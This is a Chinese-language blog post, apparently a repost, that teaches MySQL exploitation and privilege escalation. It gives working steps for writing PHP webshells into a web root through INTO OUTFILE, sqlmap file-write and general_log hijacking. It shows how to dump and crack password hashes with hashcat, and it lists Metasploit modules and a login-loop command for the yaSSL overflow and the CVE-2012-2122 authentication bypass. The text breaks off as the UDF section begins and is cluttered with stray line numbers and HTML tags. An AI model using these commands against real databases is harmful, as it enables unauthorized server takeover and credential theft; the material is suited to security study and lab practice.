MySQL 漏洞利用与提权_mysql getcmd 漏洞

转载于https://www.sqlsec.com/2020/11/mysql.html#toc-heading-1

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1
2
3
4
5
1
2
3
4
5

select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name    | Value                           |
+------------------+---------------------------------+
| general_log      | OFF                             |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+
1
2
3
4
5
6

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';
1
2
3

# 查看当前配置
mysql> SHOW VARIABLES LIKE ‘general%’;
±-----------------±----------------------------+
| Variable_name | Value |
±-----------------±----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/info.php |
±-----------------±----------------------------+

# 往日志里面写入 payload
select ‘<?php phpinfo();?>’;

# 此时已经写到 info.php 文件当中了
root@c1595d3a029a:/var/www/html/$ cat info.php
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
201031 21:14:46 40 Query SHOW VARIABLES LIKE ‘general%’
201031 21:15:34 40 Query select '<?php phpinfo();?>

这里虽然可以成功写入，但是这个 info.php 是 MySQL 创建的 ：

-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php

Apache 访问这个 php 文件会出现 HTTP 500 的状态码，结论是 root 系统这种情况基本上不会成功，只有在 Windows 系统下成功率会高一些，不过这里还是可以当做小知识点来学习记录。

前面分别介绍了数据库权限和 Webshell 权限，那么能不能利用已经获取到的 MySQL 权限来执行系统主机的命令的呢？这个就是下面主要介绍的了 MySQL 提权的知识点了。

Hash 获取与解密

假设存在 SQL 注入 DBA 权限，如果目标 3306 端口也是可以访问通的话，可以尝试读取 MySQL 的 Hash 来解密：

# MySQL <= 5.6 版本

mysql> select host, user, password from mysql.user;

+-----------±-----±------------------------------------------+

| host      | user | password                                  |

+-----------±-----±------------------------------------------+

| localhost | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |

| 127.0.0.1 | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |

| ::1       | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |

| %         | root | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |

+-----------±-----±------------------------------------------+
1
2
3
4
5
6
7
8
9
10
1
2
3
4
5
6
7
8
9
10

# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------±--------------±------------------------------------------+
| host | user | authentication_string |
+-----------±--------------±------------------------------------------+
| localhost | root | 8232A1298A49F710DBEE0B330C42EEC825D4190A |
| localhost | mysql.session | THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------±--------------±------------------------------------------+

获取到的 MySQL Hash 值可以通过一些在线网站来解密，如国内的 CMD5 ：

也可以通过 Hashcat 来手动跑字典，基本上使用 GPU 破解的话也是可以秒破解的：

hashcat -a 0 -m 300 --force ‘8232A1298A49F710DBEE0B330C42EEC825D4190A’ password.txt -O

-a 破解模式

指定要使用的破解模式，其值参考后面对参数

- [ Attack Modes ] -
1

# | Mode
=+
0 | Straight # 直接字典破解
1 | Combination # 组合破解
3 | Brute-force # 掩码暴力破解
6 | Hybrid Wordlist + Mask # 字典+掩码破解
7 | Hybrid Mask + Wordlist # 掩码+字典破解

-m 破解hash类型

指定要破解的hash类型，后面跟hash类型对应的数字，具体类型详见下表：

12   | PostgreSQL                                       | Database Server

131  | MSSQL (2000)                                     | Database Server

132  | MSSQL (2005)                                     | Database Server

1731 | MSSQL (2012, 2014)                               | Database Server

200  | MySQL323                                         | Database Server

300  | MySQL4.1/MySQL5                                  | Database Server

….
1
2
3
4
5
6

–force

忽略破解过程中的警告信息

-O

–optimized-kernel-enable 启用优化的内核（限制密码长度）

关于更多 Hashcat 的详细教程可以参考国光我的这一篇文章：Hashcat学习记录

MySQL 历史上的漏洞

yaSSL 缓冲区溢出

MySQL yaSSL SSL Hello Message Buffer Overflow 这个缓冲区溢出漏洞 2008 年开始被曝出来，距离现在已经十几年的历史了，所以国光这里没有找到对应的环境测试，不过 MSF 里面已经集成好了对应的模块了：

msf6 > use exploit/windows/mysql/mysql_yassl_hello

msf6 > use exploit/linux/mysql/mysql_yassl_hello
1

有条件的朋友可以搭建这个漏洞对应的靶场环境

Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log

Windows : MySQL 5.0.45-community-nt

CVE-2012-2122

知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库，可以循环 1000 次登陆数据库：

for i in </span><span class="token function">seq</span> <span class="token number">1</span> <span class="token number">1000</span><span class="token variable">
; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

MSF 里面也有了对应的脚本模块可以直接使用，成功后会直接 DUMP 出 MySQL 的 Hash 值：

msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump

msf6 > set rhosts 127.0.0.1

msf6 > run
1
2

这个 MySQL 的 Hash 解密出的结果为 123456

UDF 提权

自定义函数，是数据库功能的一种扩展。用户通